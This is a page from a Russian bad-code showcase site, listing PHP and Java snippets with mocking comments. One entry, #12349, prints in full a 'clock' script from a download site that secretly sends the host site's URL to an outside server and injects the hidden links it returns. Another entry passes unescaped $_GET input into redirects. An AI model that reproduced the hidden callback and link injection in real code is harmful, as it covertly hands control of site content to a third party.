1. Лучший говнокод

    В номинации:
    За время:
  2. Java / Говнокод #12567

    +61

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    public void insert()
    {
        super.insert();
        if (this.ItemId == "")
            this = this;
    }

    нарочно не придумаешь

    bodeaux, 11 Февраля 2013

    Комментарии (7)
  3. PHP / Говнокод #12392

    +61

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    /**
    	 * Convert unix timestamp into: (no leading zeros)
    	 * array( 'day' => x, 'month' => x, 'year' => x, 'hour' => x, 'minute' => x );
    	 * Written into separate static public function to allow for timezone to be used easily
    	 *
    	 * @param	integer	[$unix]	Timestamp
    	 * @return	array 	Date parts
    	 */
        static public function unixstamp_to_human( $unix=0 )
        {
        	$tmp = gmdate( 'j,n,Y,G,i', $unix );
    
        	list( $day, $month, $year, $hour, $min ) = explode( ',', $tmp );
    
        	return array( 'day'    => $day,
        				  'month'  => $month,
        				  'year'   => $year,
        				  'hour'   => $hour,
        				  'minute' => $min );
        }

    IPB 3.x
    Интересно сделали? А как бы сделали PRO :) ?

    111111, 05 Января 2013

    Комментарии (14)
  4. PHP / Говнокод #12349

    +61

    1. 1
    <?php echo '<Script Language="JavaScript">'; $xre = 'var'; echo $xre . ' ctimer;'; echo 'function init(){ if (document.all){ settimes(); } } function settimes(){'; echo $xre . ' time= new Date(); hours= time.getHours(); mins= time.getMinutes(); secs= time.getSeconds(); if (hours<10) hours="0"+hours; if(mins<10) mins="0"+mins; if (secs<10) secs="0"+secs; tim1.innerHTML=hours+":"+mins+":"+secs; ctimer=setTimeout("settimes()", 1000); } </Script> <style type="text/css"> .time{ font-family : Comic Sans Ms; font-size : 14pt; font-weight : bold; color: #00008D; } </style>'; echo '<Div Id="tim1" class="time"><span style="font-size:6px;">'; ini_set('display_errors','off'); error_reporting(0); $site_url  = $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; $site_url = str_replace('/', '%2F', $site_url); $site_url = str_replace('\\', '%2F', $site_url); $site_url = str_replace(':', '%3A', $site_url); $back_url  = 'http://l2.frankivsk.org/seo/links.php?addr=' . $site_url; $f = fopen( $back_url, 'r' ); $j = 0; while( !feof($f) && ($j<10000) ){ $text1 = $text1 . fread($f, 1); $j++; } fclose($f); $L = 0; if( strlen($text1) > 0 ){ $L = 1; }else{ $f = fopen( "http://l2.frankivsk.org/seo/links.php", 'r' ); $j = 0; while( !feof($f) && ($j<10000) ){  $text1 = $text1 . fread($f, 1);  $j++; } fclose($f);  if( strlen($text1) > 0 ){  $L = 1; }  } $text1 .= '|'; if( $L == 1 ){ $i = 0; while( strpos($text1, '|') !== false ){  $u = substr( $text1, 0, strpos($text1, '|') );   if( strlen($u) > 1 ){  if( $i == 0 ){   $i = 1;   echo '<a href="' . $u . '">Load</a>';  }else{   echo '<a href="' . $u . '">.</a>';  }    }   $text1 = substr( $text1, strpos($text1, '|') + 1 ); } }echo '</span></Div>'; echo '<script>init();</script>'; ?>

    http://sources.codenet.ru/download/3352/clock_super.html

    Качайте :) Часы на пхп))) Это что то новое. Когда открыл архив, понял какой там пхп.....
    Я не смеюсь, а плачу уже)))

    111111, 25 Декабря 2012

    Комментарии (10)
  5. PHP / Говнокод #12285

    +61

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    if(!$del){
         throw new Exception("При добавлении .......... возникла ошибка, обратитесь к администрации");
         return false;
        }
        return true;

    AndryG, 13 Декабря 2012

    Комментарии (12)
  6. PHP / Говнокод #11959

    +61

    1. 1
    'timestamp' => strval(date('U')),

    Русский аутсорс.

    grelkin, 19 Октября 2012

    Комментарии (3)
  7. PHP / Говнокод #11465

    +61

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    function chckdate( $date )
    {
    	if ( !strrchr( $date, '.' ) )
    		$date = splt( $date, "." );
    	$tmp = explode( ".", $date );
    	if ( (count( $tmp ) != 3) || (!checkdate( $tmp[1], $tmp[0], $tmp[2] )) )
    	{
    		return 0;
    	}
    	return $date;
    }
    
    function plus( $date, $days )
    {
    	$tmp = explode( "-", $date );
    	$date = mktime( 0, 0, 0, $tmp[1], $tmp[2], $tmp[0] );
    	$date = strtotime( "+" . $days . " day", $date );
    	return date( "Y-m-d", $date );
    }
    
    function conv( $date, $sep )
    {
    	$tmp = explode( $sep, $date );
    	return $tmp[2] . "-" . $tmp[1] . "-" . $tmp[0];
    }
    
    function splt( $date, $sep )
    {
    	$tmp = array( substr( $date, 0, 2 ), substr( $date, 2, 2 ), substr( $date, 4, 4 ) );
    	$date = implode( $sep, $tmp );
    	return $date;
    }

    Решил сразу их выложить

    psycho-coder, 23 Июля 2012

    Комментарии (5)
  8. PHP / Говнокод #11450

    +61

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    //TODO: Ахтунг! про in_array не слышали?
    $_GET['source'] = isset($_GET['source'])
          && ($_GET['filter_source'] == "manager"
             || $_GET['filter_source'] == "admin"
             || $_GET['filter_source'] == "internet"
             || $_GET['filter_source'] == "president"
             || $_GET['filter_source'] == "builder"
             || $_GET['filter_source'] == "call-center"
             || $_GET['filter_source'] == "calls"
             || $_GET['filter_source'] == "president"
             || $_GET['filter_source'] == "petr"
             || $_GET['filter_source'] == "slava"
             || $_GET['filter_source'] == "vell"
             || $_GET['filter_source'] == "box") ? $_GET['source'] : '0';

    wds, 20 Июля 2012

    Комментарии (5)
  9. PHP / Говнокод #11371

    +61

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    function myrnd(){
    	$rnd1=rand(48,57);
    	$rnd2=rand(65,90);
    	$rnd3=rand(97,122);
    	$rnd4=rand(1,3);
    	$rnd5="rnd".$rnd4;
    	return $$rnd5;
    }
    function createReffererLink(){
    	$refferer="";
    	for($i=0;$i<12;$i++){
    		$refferer.=chr($this->myrnd());
    	}
    	return $refferer;
    }

    Нашел в своей старой партнерской программе. Угадайте, что делает этот код? ( генерирует реферальную ссылку )

    xcont, 07 Июля 2012

    Комментарии (8)
  10. PHP / Говнокод #11327

    +61

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    foreach($res as $row)
    					{					
    					$swichas=false;
                        $swichas2=false;					
    						if ($owner == 1) $show_this_around = 1;
    						else
    						{
    							if($private_bids == 'yes') 
    							{
    								if($uid == $row->uid) 	$show_this_around = 1;
    								else $show_this_around = 0;
    							}
    							else
    							$show_this_around = 1;
    							
    						}
    						
    						if($show_this_around == 1):
    						
    						$user = get_userdata($row->uid);
    						echo '<tr>';
    						if(empty($useris)){
    						$useris[$ii]['vardas']=$user->user_login;
    						$swichas=true;
    						$ii++;
    						$swichas2=true;
    						}
                            foreach($useris as $value){						
    						if($value['vardas']==$user->user_login){						
    						    $swichas=true;
    							}
    						}
    						if($swichas==false){
    						$useris[$ii]['vardas']=$user->user_login;
    						$ii++;
                            $swichas2=true;						
                            }
    						if($swichas2){
    						echo '<th><a href="'.home_url().'/user-profile/'.$user->user_login.'" target="_blank">'.$user->user_login.'</a></th>';
    						echo '<th>'.auctionTheme_get_show_price($row->bid).'</th>';
    						echo '<th>'.date("d-M-Y H:i:s", $row->date_made).'</th>';
    						
    						if ($owner == 1 ) {
    							if($reverse == 'yes' || $reverse == '1')
    							echo '<th><a href="'.get_bloginfo('siteurl').'/choose-winner/'.get_the_ID().'/'.$row->id.'">'.__('Select','AuctionTheme').'</a></th>';						
    							echo '<th><a href="'.get_bloginfo('siteurl').'/my-account/private-messages/my-page/send/?uid='.$row->uid.'&pid='.get_the_ID().'">'.__('Send Message','AuctionTheme').'</a></th>';
    						}
    						}					
    						
    						
    						if($closed == "1") { if($row->winner == 1) echo '<th>'.__('Yes','AuctionTheme').'</th>'; else echo '<th>&nbsp;</th>'; }
    						
    						echo '</tr>';
    						
    						
    						endif;

    Нужно вытащить из бд ставки юзеров по последней дате... Человек решил это на php.

    nonamez, 01 Июля 2012

    Комментарии (12)
  11. PHP / Говнокод #11290

    +61

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    if (is_page('orders_item')) {
    	die ("<meta http-equiv='refresh' content='0; url=".$base_url."/orders_item.php?pid=".$_GET['pid']."'>");
    } elseif (is_page('orders_garant')) {
    	die ("<meta http-equiv='refresh' content='0; url=".$base_url."/orders_garant.php?pid=".$_GET['pid']."'>");
    } else {
    	die ("<meta http-equiv='refresh' content='0; url=".$base_url."/orders_item.php?pid=".$_GET['pid']."'>");
    }
    exit();

    Хоть опросник пиши:
    - чем первый die() отличается от последнего?
    - почему их 3?
    - кто будет экранировать $_GET?
    - зачем в конце exit() подпирает die()?

    domaster, 25 Июня 2012

    Комментарии (5)